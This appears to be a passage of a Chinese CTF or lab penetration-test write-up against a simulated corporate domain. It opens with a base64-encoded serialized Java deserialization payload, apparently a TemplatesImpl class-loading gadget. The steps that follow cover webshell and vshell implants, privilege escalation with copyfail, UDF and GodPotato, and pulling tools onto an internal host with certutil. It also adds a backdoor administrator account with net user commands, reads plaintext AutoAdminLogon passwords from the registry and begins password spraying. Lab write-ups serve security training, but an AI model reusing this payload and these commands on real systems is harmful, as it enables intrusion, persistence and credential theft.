Q2dCdkFISUJBQkpxWVhaaEwzVjBhV3d2U1hSbGNtRjBiM0lIQUhRQkFBUnVaWGgwREFCMkFDUUxBSFVBZHdFQU5XOXlaeTV6Y0hKcGJtZG1jbUZ0WlhkdmNtc3VkMlZpTG1OdmJuUmxlSFF1VjJWaVFYQndiR2xqWVhScGIyNURiMjUwWlhoMENBQjVBUUFJWjJWMFEyeGhjM01CQUJNb0tVeHFZWFpoTDJ4aGJtY3ZRMnhoYzNNN0RBQjdBSHdLQUR3QWZRRUFFR2x6UVhOemFXZHVZV0pzWlVaeWIyMEJBQlFvVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNwV2d3QWZ3Q0FDZ0JmQUlFQkFDQnFZWFpoTDJ4aGJtY3ZRMnhoYzNOT2IzUkdiM1Z1WkVWNFkyVndkR2x2YmdjQWd3RUFLMnBoZG1FdmJHRnVaeTl5Wldac1pXTjBMMGx1ZG05allYUnBiMjVVWVhKblpYUkZlR05sY0hScGIyNEhBSVVCQUI5cVlYWmhMMnhoYm1jdlRtOVRkV05vVFdWMGFHOWtSWGhqWlhCMGFXOXVCd0NIQVFBZ2FtRjJZUzlzWVc1bkwwbHNiR1ZuWVd4QlkyTmxjM05GZUdObGNIUnBiMjRIQUlrQkFCTnFZWFpoTDJ4aGJtY3ZWR2h5YjNkaFlteGxCd0NMQVFBSlkyeGhlbnBDZVhSbEFRQUNXMElCQUF0a1pXWnBibVZEYkdGemN3RUFHa3hxWVhaaEwyeGhibWN2Y21WbWJHVmpkQzlOWlhSb2IyUTdBUUFGWTJ4aGVub0JBQkZNYW1GMllTOXNZVzVuTDBOc1lYTnpPd0VBQVdVQkFCVk1hbUYyWVM5c1lXNW5MMFY0WTJWd2RHbHZianNNQUE0QUJnb0FBZ0NWREFBUkFBWUtBQUlBbHdFQURHUmxZMjlrWlVKaGMyVTJOQUVBRmloTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFcwSU1BSmtBbWdvQUFnQ2JBUUFPWjNwcGNFUmxZMjl0Y0hKbGMzTUJBQVlvVzBJcFcwSU1BSjBBbmdvQUFnQ2ZDQUNQQndDT0FRQVJhbUYyWVM5c1lXNW5MMGx1ZEdWblpYSUhBS01CQUFSVVdWQkZEQUNsQUpJSkFLUUFwZ0VBRVdkbGRFUmxZMnhoY21Wa1RXVjBhRzlrQVFCQUtFeHFZWFpoTDJ4aGJtY3ZVM1J5YVc1bk8xdE1hbUYyWVM5c1lXNW5MME5zWVhOek95bE1hbUYyWVM5c1lXNW5MM0psWm14bFkzUXZUV1YwYUc5a093d0FxQUNwQ2dCZkFLb0JBQmhxWVhaaEwyeGhibWN2Y21WbWJHVmpkQzlOWlhSb2IyUUhBS3dCQUExelpYUkJZMk5sYzNOcFlteGxBUUFFS0ZvcFZnd0FyZ0N2Q2dDdEFMQUJBQWQyWVd4MVpVOW1BUUFXS0VrcFRHcGhkbUV2YkdGdVp5OUpiblJsWjJWeU93d0FzZ0N6Q2dDa0FMUUJBQVpwYm5admEyVUJBRGtvVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3VzB4cVlYWmhMMnhoYm1jdlQySnFaV04wT3lsTWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzTUFMWUF0d29BclFDNEFRQVdZV0p6ZEhKaFkzUklZVzVrYkdWeVRXRndjR2x1WndFQUUyRmtZWEIwWldSSmJuUmxjbU5sY0hSdmNuTUJBQlZNYW1GMllTOTFkR2xzTDBGeWNtRjVUR2x6ZERzQkFCWk1iMk5oYkZaaGNtbGhZbXhsVkhsd1pWUmhZbXhsQVFBcFRHcGhkbUV2ZFhScGJDOUJjbkpoZVV4cGMzUThUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdQanNCQUFkblpYUkNaV0Z1Q0FDL0FRQWNjbVZ4ZFdWemRFMWhjSEJwYm1kSVlXNWtiR1Z5VFdGd2NHbHVad2dBd1FnQXV3RUFFMnBoZG1FdmRYUnBiQzlCY25KaGVVeHBjM1FIQU1RQkFBTmhaR1FCQUJVb1RHcGhkbUV2YkdGdVp5OVBZbXBsWTNRN0tWb01BTVlBeHdvQXhRRElBUUFNWkdWamIyUmxja05zWVhOekFRQUhaR1ZqYjJSbGNnRUFCMmxuYm05eVpXUUJBQWxpWVhObE5qUlRkSElCQUJKTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFCUk1hbUYyWVM5c1lXNW5MME5zWVhOelBDbytPd0VBRm5OMWJpNXRhWE5qTGtKQlUwVTJORVJsWTI5a1pYSUlBTkFCQUFkbWIzSk9ZVzFsREFEU0FFc0tBRjhBMHdFQURHUmxZMjlrWlVKMVptWmxjZ2dBMVFFQUNXZGxkRTFsZEdodlpBd0Exd0NwQ2dCZkFOZ0JBQkJxWVhaaExuVjBhV3d1UW1GelpUWTBDQURhQVFBS1oyVjBSR1ZqYjJSbGNnZ0EzQUVBQm1SbFkyOWtaUWdBM2dFQURtTnZiWEJ5WlhOelpXUkVZWFJoQVFBRGIzVjBBUUFmVEdwaGRtRXZhVzh2UW5sMFpVRnljbUY1VDNWMGNIVjBVM1J5WldGdE93RUFBbWx1QVFBZVRHcGhkbUV2YVc4dlFubDBaVUZ5Y21GNVNXNXdkWFJUZEhKbFlXMDdBUUFHZFc1bmVtbHdBUUFmVEdwaGRtRXZkWFJwYkM5NmFYQXZSMXBKVUVsdWNIVjBVM1J5WldGdE93RUFCbUoxWm1abGNnRUFBVzRCQUFGSkFRQWRhbUYyWVM5cGJ5OUNlWFJsUVhKeVlYbFBkWFJ3ZFhSVGRISmxZVzBIQU9vQkFCeHFZWFpoTDJsdkwwSjVkR1ZCY25KaGVVbHVjSFYwVTNSeVpXRnRCd0RzQVFBZGFtRjJZUzkxZEdsc0wzcHBjQzlIV2tsUVNXNXdkWFJUZEhKbFlXMEhBTzRLQU9zQUlRRUFCU2hiUWlsV0RBQVpBUEVLQU8wQThnRUFHQ2hNYW1GMllTOXBieTlKYm5CMWRGTjBjbVZoYlRzcFZnd0FHUUQwQ2dEdkFQVUJBQVJ5WldGa0FRQUZLRnRDS1VrTUFQY0ErQW9BN3dENUFRQUZkM0pwZEdVQkFBY29XMEpKU1NsV0RBRDdBUHdLQU9zQS9RRUFDM1J2UW5sMFpVRnljbUY1QVFBRUtDbGJRZ3dBL3dFQUNnRHJBUUVCQUFWelpYUkdWZ0VBT1NoTWFtRjJZUzlzWVc1bkwwOWlhbVZqZER0TWFtRjJZUzlzWVc1bkwxTjBjbWx1Wnp0TWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzcFZnRUFCSFpoY2pBQkFBUjJZWEl4QVFBRGRtRnNBUUFFWjJWMFJnRUFQeWhNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHRNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVEdwaGRtRXZiR0Z1Wnk5eVpXWnNaV04wTDBacFpXeGtPd3dCQ0FFSkNnQUNBUW9CQUJkcVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5R2FXVnNaQWNCREFFQUEzTmxkQXdCRGdBckNnRU5BUThCQUFOdlltb0JBQWxtYVdWc1pFNWhiV1VCQUFWbWFXVnNaQUVBR1V4cVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5R2FXVnNaRHNLQVEwQXNBRUFBMmRsZEFFQUppaE1hbUYyWVM5c1lXNW5MMDlpYW1WamREc3BUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdEQUVXQVJjS0FRMEJHQUVBSG1waGRtRXZiR0Z1Wnk5T2IxTjFZMmhHYVdWc1pFVjRZMlZ3ZEdsdmJnY0JHZ0VBSUV4cVlYWmhMMnhoYm1jdlRtOVRkV05vUm1sbGJHUkZlR05sY0hScGIyNDdBUUFRWjJWMFJHVmpiR0Z5WldSR2FXVnNaQUVBTFNoTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2YkdGdVp5OXlaV1pzWldOMEwwWnBaV3hrT3d3QkhRRWVDZ0JmQVI4QkFBMW5aWFJUZFhCbGNtTnNZWE56REFFaEFId0tBRjhCSWdvQkd3QWJBUUFNZEdGeVoyVjBUMkpxWldOMEFRQUtiV1YwYUc5a1RtRnRaUUVBQVdrQkFBZHRaWFJvYjJSekFRQWJXMHhxWVhaaEwyeGhibWN2Y21WbWJHVmpkQzlOWlhSb2IyUTdBUUFoVEdwaGRtRXZiR0Z1Wnk5T2IxTjFZMmhOWlhSb2IyUkZlR05sY0hScGIyNDdBUUFpVEdwaGRtRXZiR0Z1Wnk5SmJHeGxaMkZzUVdOalpYTnpSWGhqWlhCMGFXOXVPd0VBQ25CaGNtRnRRMnhoZW5vQkFCSmJUR3BoZG1FdmJHRnVaeTlEYkdGemN6c0JBQVZ3WVhKaGJRRUFFMXRNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNCQUFadFpYUm9iMlFCQUFsMFpXMXdRMnhoYzNNSEFTa0JBQkpuWlhSRVpXTnNZWEpsWkUxbGRHaHZaSE1CQUIwb0tWdE1hbUYyWVM5c1lXNW5MM0psWm14bFkzUXZUV1YwYUc5a093d0JNd0UwQ2dCZkFUVUJBQWRuWlhST1lXMWxEQUUzQUFZS0FLMEJPQUVBQm1WeGRXRnNjd3dCT2dESENnQVdBVHNCQUJGblpYUlFZWEpoYldWMFpYSlVlWEJsY3dFQUZDZ3BXMHhxWVhaaEwyeGhibWN2UTJ4aGMzTTdEQUU5QVQ0S0FLMEJQd29BaUFBYkFRQWFhbUYyWVM5c1lXNW5MMUoxYm5ScGJXVkZlR05sY0hScGIyNEhBVUlCQUFwblpYUk5aWE56WVdkbERBRkVBQVlLQUlvQlJRb0JRd0FiQUNFQUFnQUVBQUFBQUFBT0FBRUFCUUFHQUFFQUJ3QUFBQzBBQVFBQkFBQUFBeElOc0FBQUFBSUFDQUFBQUFZQUFRQUFBQkFBQ1FBQUFBd0FBUUFBQUFNQUNnQUxBQUFBQVFBT0FBWUFBUUFIQUFBQUVBQUJBQUVBQUFBRUV3QVFzQUFBQUFBQUFRQVJBQVlBQWdBU0FBQUFCQUFCQUJRQUJ3QUFBQmNBQXdBQkFBQUFDN3NBRmxrVEFCaTNBQnl3QUFBQUFBQUJBQmtBSFFBQ0FBY0FBQUJqQUFNQUF3QUFBQlVxdHdBaUtyWUFKa3dxdHdBcFRTb3JMTFlBTGJFQUFBQUNBQWdBQUFBV0FBVUFBQUFkQUFRQUhnQUpBQjhBRGdBZ0FCUUFJZ0FKQUFBQUlBQURBQUFBRlFBS0FBc0FBQUFKQUF3QUhnQWZBQUVBRGdBSEFDQUFId0FDQUJJQUFBQUVBQUVBTHdBQkFDTUFKQUFDQUFjQUFBRjhBQWNBQndBQUFKQzRBRU8yQUVkTUFVMHJFa20yQUUwU1Q3Z0FVMDR0RWxXNEFGTTZCQmtFRWxlNEFGTTZCUmtGRWxtNEFGTTZCaXNTVzdZQVRSSmRCTDBBWDFrREt4Smh0Z0JOVXdTOUFEeFpBeGtHVTdnQVpFMm5BQVJPTE1jQU9Dc1NacllBVGJZQWFSSnF1QUJ0d0FCdlRpMjJBSE81QUhnQkFEb0VLeEo2dGdCTkdRUzJBSDYyQUlLWkFBWVpCRTJuQUFST0xMQUFBZ0FKQUZFQVZBQXZBRmtBaWdDTkFDOEFBd0FJQUFBQVJnQVJBQUFBSlFBSEFDWUFDUUFvQUJVQUtRQWRBQ29BSmdBckFDOEFMQUJSQUM0QVZBQXRBRlVBTUFCWkFESUFhd0F6QUhZQU5BQ0hBRFVBaWdBNEFJMEFOd0NPQURvQUNRQUFBRndBQ1FBVkFEd0FNQUFmQUFNQUhRQTBBREVBSHdBRUFDWUFLd0F5QUI4QUJRQXZBQ0lBTXdBZkFBWUFhd0FmQURRQU5RQURBSFlBRkFBMkFCOEFCQUFBQUpBQUNnQUxBQUFBQndDSkFEY0FPQUFCQUFrQWh3QWVBQjhBQWdBOUFBQUFIQUFGL3dCVUFBTUhBQUlIQURvSEFEd0FBUWNBTHdBMFFnY0FMd0FBRWdBQUFBb0FCQUNFQUlZQWlBQ0tBQUlBSndBa0FBSUFCd0FBQVZRQUJnQUhBQUFBZXJnQVE3WUFSMHdCVFNzcXRnQ1d0Z0JOdGdCcFRhY0FZMDRxdGdDWXVBQ2N1QUNnT2dRU09oS2hCcjBBWDFrREVxSlRXUVN5QUtkVFdRV3lBS2RUdGdDck9nVVpCUVMyQUxFWkJTc0d2UUE4V1FNWkJGTlpCQU80QUxWVFdRVVpCTDY0QUxWVHRnQzV3QUJmT2dZWkJyWUFhVTJuQUFVNkJDeXdBQUlBQ1FBVkFCZ0FMd0FaQUhNQWRnQ01BQU1BQ0FBQUFEWUFEUUFBQUQ0QUJ3QS9BQWtBUVFBVkFFc0FHQUJDQUJrQVJBQWxBRVVBUXdCR0FFa0FSd0J0QUVnQWN3QktBSFlBU1FCNEFFd0FDUUFBQUVnQUJ3QWxBRTRBalFDT0FBUUFRd0F3QUk4QWtBQUZBRzBBQmdDUkFKSUFCZ0FaQUY4QWt3Q1VBQU1BQUFCNkFBb0FDd0FBQUFjQWN3QTNBRGdBQVFBSkFIRUFJQUFmQUFJQVBRQUFBQzRBQS84QUdBQURCd0FDQndBNkJ3QThBQUVIQUMvL0FGMEFCQWNBQWdjQU9nY0FQQWNBTHdBQkJ3Q00rZ0FCQUJJQUFBQUVBQUVBTHdBQkFDb0FLd0FCQUFjQUFBQzlBQWNBQlFBQUFEQXJFc0FFdlFCZldRTVNGbE1FdlFBOFdRTVN3bE80QUdST0xSTER1QUJ0d0FERk9nUVpCQ3kyQU1sWHB3QUVUckVBQVFBQUFDc0FMZ0F2QUFRQUNBQUFBQm9BQmdBQUFGRUFHUUJTQUNRQVV3QXJBRlVBTGdCVUFDOEFWZ0FKQUFBQU5BQUZBQmtBRWdDNkFCOEFBd0FrQUFjQXV3QzhBQVFBQUFBd0FBb0FDd0FBQUFBQU1BQWVBQjhBQVFBQUFEQUFJQUFmQUFJQXZRQUFBQXdBQVFBa0FBY0F1d0MrQUFRQVBRQUFBQWNBQW00SEFDOEFBQWdBbVFDYUFBSUFCd0FBQVFBQUJnQUVBQUFBYWhMUnVBRFVUQ3NTMWdTOUFGOVpBeElXVTdZQTJTdTJBR2tFdlFBOFdRTXFVN1lBdWNBQW9zQUFvckJORXR1NEFOUk1LeExkQTcwQVg3WUEyUUVEdlFBOHRnQzVUaTIyQUg0UzN3UzlBRjlaQXhJV1U3WUEyUzBFdlFBOFdRTXFVN1lBdWNBQW9zQUFvckFBQVFBQUFDb0FLd0F2QUFRQUNBQUFBQm9BQmdBQUFGd0FCZ0JkQUNzQVhnQXNBRjhBTWdCZ0FFVUFZUUFKQUFBQU5BQUZBQVlBSlFES0FKSUFBUUJGQUNVQXl3QWZBQU1BTEFBK0FNd0FsQUFDQUFBQWFnRE5BTTRBQUFBeUFEZ0F5Z0NTQUFFQXZRQUFBQllBQWdBR0FDVUF5Z0RQQUFFQU1nQTRBTW9BendBQkFEMEFBQUFHQUFGckJ3QXZBQklBQUFBS0FBUUFoQUNJQUlZQWlnQUpBSjBBbmdBQ0FBY0FBQURVQUFRQUJnQUFBRDY3QU90WnR3RHdUTHNBN1ZrcXR3RHpUYnNBNzFrc3R3RDJUaEVCQUx3SU9nUXRHUVMyQVBwWk5nV2JBQThyR1FRREZRVzJBUDZuLytzcnRnRUNzQUFBQUFNQUNBQUFBQjRBQndBQUFHWUFDQUJuQUJFQWFBQWFBR2tBSVFCckFDMEFiQUE1QUc0QUNRQUFBRDRBQmdBQUFENEE0QUNPQUFBQUNBQTJBT0VBNGdBQkFCRUFMUURqQU9RQUFnQWFBQ1FBNVFEbUFBTUFJUUFkQU9jQWpnQUVBQ29BRkFEb0FPa0FCUUE5QUFBQUhBQUMvd0FoQUFVSEFLSUhBT3NIQU8wSEFPOEhBS0lBQVB3QUZ3RUFFZ0FBQUFRQUFRQVVBQ0FCQXdFRUFBSUFCd0FBQUZjQUF3QUVBQUFBQ3lzc3VBRUxLeTIyQVJDeEFBQUFBZ0FJQUFBQUNnQUNBQUFBY2dBS0FITUFDUUFBQUNvQUJBQUFBQXNBQ2dBTEFBQUFBQUFMQVFVQUh3QUJBQUFBQ3dFR0FNNEFBZ0FBQUFzQkJ3QWZBQU1BRWdBQUFBUUFBUUF2QUFnQWF3QlJBQUlBQndBQUFGY0FBZ0FEQUFBQUVTb3J1QUVMVFN3RXRnRVZMQ3EyQVJtd0FBQUFBZ0FJQUFBQURnQURBQUFBZGdBR0FIY0FDd0I0QUFrQUFBQWdBQU1BQUFBUkFSRUFId0FBQUFBQUVRRVNBTTRBQVFBR0FBc0JFd0VVQUFJQUVnQUFBQVFBQVFBdkFBZ0JDQUVKQUFJQUJ3QUFBTWNBQXdBRUFBQUFLQ3EyQUg1TkxNWUFHU3dydGdFZ1RpMEV0Z0VWTGJCT0xMWUJJMDJuLyttN0FSdFpLN2NCSkw4QUFRQUpBQlVBRmdFYkFBUUFDQUFBQUNZQUNRQUFBSHdBQlFCOUFBa0Fmd0FQQUlBQUZBQ0JBQllBZ2dBWEFJTUFIQUNFQUI4QWhnQUpBQUFBTkFBRkFBOEFCd0VUQVJRQUF3QVhBQVVBa3dFY0FBTUFBQUFvQVJFQUh3QUFBQUFBS0FFU0FNNEFBUUFGQUNNQWtRQ1NBQUlBdlFBQUFBd0FBUUFGQUNNQWtRRFBBQUlBUFFBQUFBMEFBL3dBQlFjQVgxQUhBUnNJQUJJQUFBQUVBQUVCR3dBb0FGQUFVUUFDQUFjQUFBQkNBQVFBQWdBQUFBNHFLd085QUY4RHZRQTh1QUJrc0FBQUFBSUFDQUFBQUFZQUFRQUFBSXNBQ1FBQUFCWUFBZ0FBQUE0QkpRQWZBQUFBQUFBT0FTWUF6Z0FCQUJJQUFBQUlBQU1BaUFDS0FJWUFLUUJRQUdJQUFnQUhBQUFDRndBREFBa0FBQURLS3NFQVg1a0FDaXJBQUYrbkFBY3F0Z0IrT2dRQk9nVVpCRG9HR1FYSEFHUVpCc1lBWHl6SEFFTVpCcllCTmpvSEF6WUlGUWdaQjc2aUFDNFpCeFVJTXJZQk9TdTJBVHlaQUJrWkJ4VUlNcllCUUw2YUFBMFpCeFVJTWpvRnB3QUpoQWdCcC8vUXB3QU1HUVlyTExZQXF6b0ZwLytwT2djWkJyWUJJem9HcC8rZEdRWEhBQXk3QUloWks3Y0JRYjhaQlFTMkFMRXF3UUJmbVFBYUdRVUJMYllBdWJBNkI3c0JRMWtaQjdZQlJyY0JSNzhaQlNvdHRnQzVzRG9IdXdGRFdSa0h0Z0ZHdHdGSHZ3QURBQ1VBY2dCMUFJZ0FuQUNqQUtRQWlnQ3pBTG9BdXdDS0FBTUFDQUFBQUc0QUd3QUFBSThBRkFDUUFCY0FrZ0FiQUpNQUpRQ1ZBQ2tBbHdBd0FKZ0FPd0NaQUZZQW1nQmRBSnNBWUFDWUFHWUFuZ0JwQUo4QWNnQ2pBSFVBb1FCM0FLSUFmZ0NqQUlFQXBRQ0dBS1lBandDb0FKVUFxUUNjQUtzQXBBQ3NBS1lBclFDekFMRUF1d0N5QUwwQXN3QUpBQUFBZWdBTUFETUFNd0VuQU9rQUNBQXdBRFlCS0FFcEFBY0Fkd0FIQUpNQktnQUhBS1lBRFFDVEFTc0FCd0M5QUEwQWt3RXJBQWNBQUFES0FSRUFId0FBQUFBQXlnRW1BTTRBQVFBQUFNb0JMQUV0QUFJQUFBREtBUzRCTHdBREFCUUF0Z0NSQUpJQUJBQVhBTE1CTUFDUUFBVUFHd0N2QVRFQWtnQUdBRDBBQUFBdkFBNE9Rd2NBWC80QUNBY0FYd2NBclFjQVgvMEFGd2NCTWdFcytRQUZBZ2hDQndDSUN3MVVCd0NLRGtjSEFJb0FFZ0FBQUFnQUF3Q0lBSVlBaWdBQQcARwwASABJDABKAEsHAEwBABBqYXZhL2xhbmcvT2JqZWN0BwBNDABOAE8MAFAAUQwAUgBTDABQAFQBAAhVc2VySW5mbwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAEGphdmEvdXRpbC9CYXNlNjQBAApnZXREZWNvZGVyAQAHRGVjb2RlcgEADElubmVyQ2xhc3NlcwEAHCgpTGphdmEvdXRpbC9CYXNlNjQkRGVjb2RlcjsBABhqYXZhL3V0aWwvQmFzZTY0JERlY29kZXIBAAZkZWNvZGUBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAXZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcnMBACIoKVtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAdamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3IBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABRnZXRTeXN0ZW1DbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAtuZXdJbnN0YW5jZQEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAAVABYKABQAVQAhABMAFAAAAAAAAwABABUAFgACABcAAACRAAYABQAAAFkqtwBWEgK4AANMKxIEBL0ABVkDEgZTtgAHTSwEtgAIuAAJEgq2AAtOK7YADAMyOgQZBAS2AA0sGQQEvQAOWQO4AA9TtgAQBL0ADlkDLVO2ABHAAAW2ABJXsQAAAAEAGAAAACYACQAAAA4ABAAPAAoAEAAaABEAHwASACgAEwAwABQANgAVAFgAFgAZAAAABAABABoAAQAbABwAAgAXAAAAGQAAAAMAAAABsQAAAAEAGAAAAAYAAQAAABoAGQAAAAQAAQAdAAEAGwAeAAIAFwAAABkAAAAEAAAAAbEAAAABABgAAAAGAAEAAAAfABkAAAAEAAEAHQACAB8AAAACACAARQAAAAoAAQAtACoARAAJdXEAfgAYAAAA8sr+ur4AAAAxABMBAANGb28HAAEBABBqYXZhL2xhbmcvT2JqZWN0BwADAQAKU291cmNlRmlsZQEACEZvby5qYXZhAQAUamF2YS9pby9TZXJpYWxpemFibGUHAAcBABBzZXJpYWxWZXJzaW9uVUlEAQABSgVx5mnuPG1HGAEADUNvbnN0YW50VmFsdWUBAAY8aW5pdD4BAAMoKVYMAA4ADwoABAAQAQAEQ29kZQAhAAIABAABAAgAAQAaAAkACgABAA0AAAACAAsAAQABAA4ADwABABIAAAARAAEAAQAAAAUqtwARsQAAAAAAAQAFAAAAAgAGcHQAAsGQcHcBAHhzcgAiwarBocG2waHArsGswaHBrsGnwK7BicGuwbTBpcGnwaXBshLioKT3gYc4AgABSQAKwbbBocGswbXBpXhyACDBqsGhwbbBocCuwazBocGuwafArsGOwbXBrcGiwaXBsoaslR0LlOCLAgAAeHAAAAABeA==
Accept-Encoding: gzip, deflate

冰蝎连接

vshell上线

这是只能正向上线，因为目标不出网

copyfail提权

查看flag

cat /flag.txt
flag{9b4b7a38-3d45-47e1-b92d-2eea0bc684c9}

再以copyfail执行一边vshell，就拿到root权限的vshell了

入口机信息收集

外网机器上还有个jar包

/AoseluMail/AoseluMail-0.0.1-SNAPSHOT.jar

进行反编译，发现mysql连接信息

# THYMELEAF (ThymeleafAutoConfiguration)
#spring.thymeleaf.cache=true
spring.thymeleaf.check-template=true
spring.thymeleaf.check-template-location=true
spring.thymeleaf.content-type=text/html
spring.thymeleaf.enabled=true
spring.thymeleaf.encoding=UTF-8
spring.thymeleaf.excluded-view-names=
spring.thymeleaf.mode=HTML5
spring.thymeleaf.prefix=classpath:/templates/
spring.thymeleaf.suffix=.html
server.port=8080

spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
spring.datasource.url=jdbc:mysql://172.16.52.45:3306/maildb?characterEncoding=utf-8&useUnicode=true&serverTimezone=UTC
spring.datasource.username=root
spring.datasource.password=T%b8ds*l3v+B

172.16.52.45这应该内网的一台机器，先把隧道搭建好，再准备连它

隧道代理

用MDUT工具连接

但是连不上，先不管再

内网信息收集

另一张网卡是172.16.53.30

ifconfig
ens5: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.16.53.30  netmask 255.255.0.0  broadcast 172.16.255.255

fscan扫描内网，这里用普通权限启动fscan，不能send icmp packet，所以用root权限探测存活更好一点

mail-svc@webserver:/tmp$ ./fscan -h 172.16.53.30/24 -o fscan.txt
./fscan -h 172.16.53.30/24 -o fscan.txt

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets

但是root权限扫c段也没扫出啥来

b段扫描

重要信息如下

./fscan -h 172.16.53.30/16 -o fscan.txt

Extranet 172.16.53.30
ASLITPC03 172.16.36.21 AOSELUAUTO\ASLITPC03  139、3306 、135 、445
ASLSRVFS02 172.16.34.23
ASLSRVAD05 172.16.34.5 [+] DC:AOSELUAUTO\ASLSRVAD05

172.16.36.21开放了3306端口，之前拿到的mysql账号密码大概率是这台机器的

第二台172.16.36.21(ASLITPC03)

UDF提权可以执行命令后

Godpotato提权

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

SeImpersonatePrivilege是Enabled，大概率可以用土豆提权

Godpotato执行vshell，上线vshell

因为目标机器在内网，我也没办法上传文件给它，我只能把文件上传到入口机，让mysql这台靶机去入口机下载，找准web目录，这个web目录对应的是80端口，web目录是/var/www/html，注意往这个目录上传东西，要root权限

certutil.exe -urlcache -split -f http://172.16.53.30:80/GodPotato.exe
certutil.exe -urlcache -split -f http://172.16.53.30:80/tcp_windows_amd64.exe
GodPotato.exe -cmd "cmd /c  tcp_windows_amd64.exe"

上线vshll

查找flag

C:\ProgramData\MySQL\MySQL Server 5.7\Data>dir C:\*flag* /s /b
C:\Users\Administrator\Desktop\flag.txt

C:\ProgramData\MySQL\MySQL Server 5.7\Data>type C:\Users\Administrator\Desktop\flag.txt
flag{723f7cc7-691c-4c20-8f12-8c50bba7b5c0}

域内信息收集

C:\ProgramData\MySQL\MySQL Server 5.7\Data>net time /domain
Current time at \\ASLSRVAD05.aoseluauto.com is 6/10/2026 7:56:00 PM

The command completed successfully.

该机器在域内，域控是ASLSRVAD05.aoseluauto.com

添加一个rdp用户，登陆ASLSRVAD03主机

net user hacker P@ssw0rd123! /add
net localgroup "Remote Desktop Users" hacker /add
net localgroup administrators hacker /add

rdp进去

发现屏幕上显示 EthanMorris这个用户，它自己就登录到了桌面

在 Windows 中，为了方便用户（或服务）自动登录系统，可以配置一个功能叫“自动登录 (AutoAdminLogon)”。当这个功能启用时，开机自动以某个用户登录。系统为满足"自动登录"功能，一定会把凭证存在注册表，用户名、域名和密码以明文（或可解密的简单形式）存储在注册表中

导出注册表自动登录凭证

# 检查 AutoAdminLogon 的值是否为 1
C:\ProgramData\MySQL\MySQL Server 5.7\Data>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    AutoAdminLogon    REG_SZ    1
    
    
# 如果为 1，立即提取用户名、域名和密码
C:\ProgramData\MySQL\MySQL Server 5.7\Data>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUsername

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    DefaultUsername    REG_SZ    EthanMorris
    
    
C:\ProgramData\MySQL\MySQL Server 5.7\Data>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    DefaultDomainName    REG_SZ    aoseluauto.com
    
    
C:\ProgramData\MySQL\MySQL Server 5.7\Data>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    DefaultPassword    REG_SZ    DROCV4?LtyCp

拿到

用户名EthanMorris
密码DROCV4?LtyCp
域名aoseluauto.com

smb密码喷洒

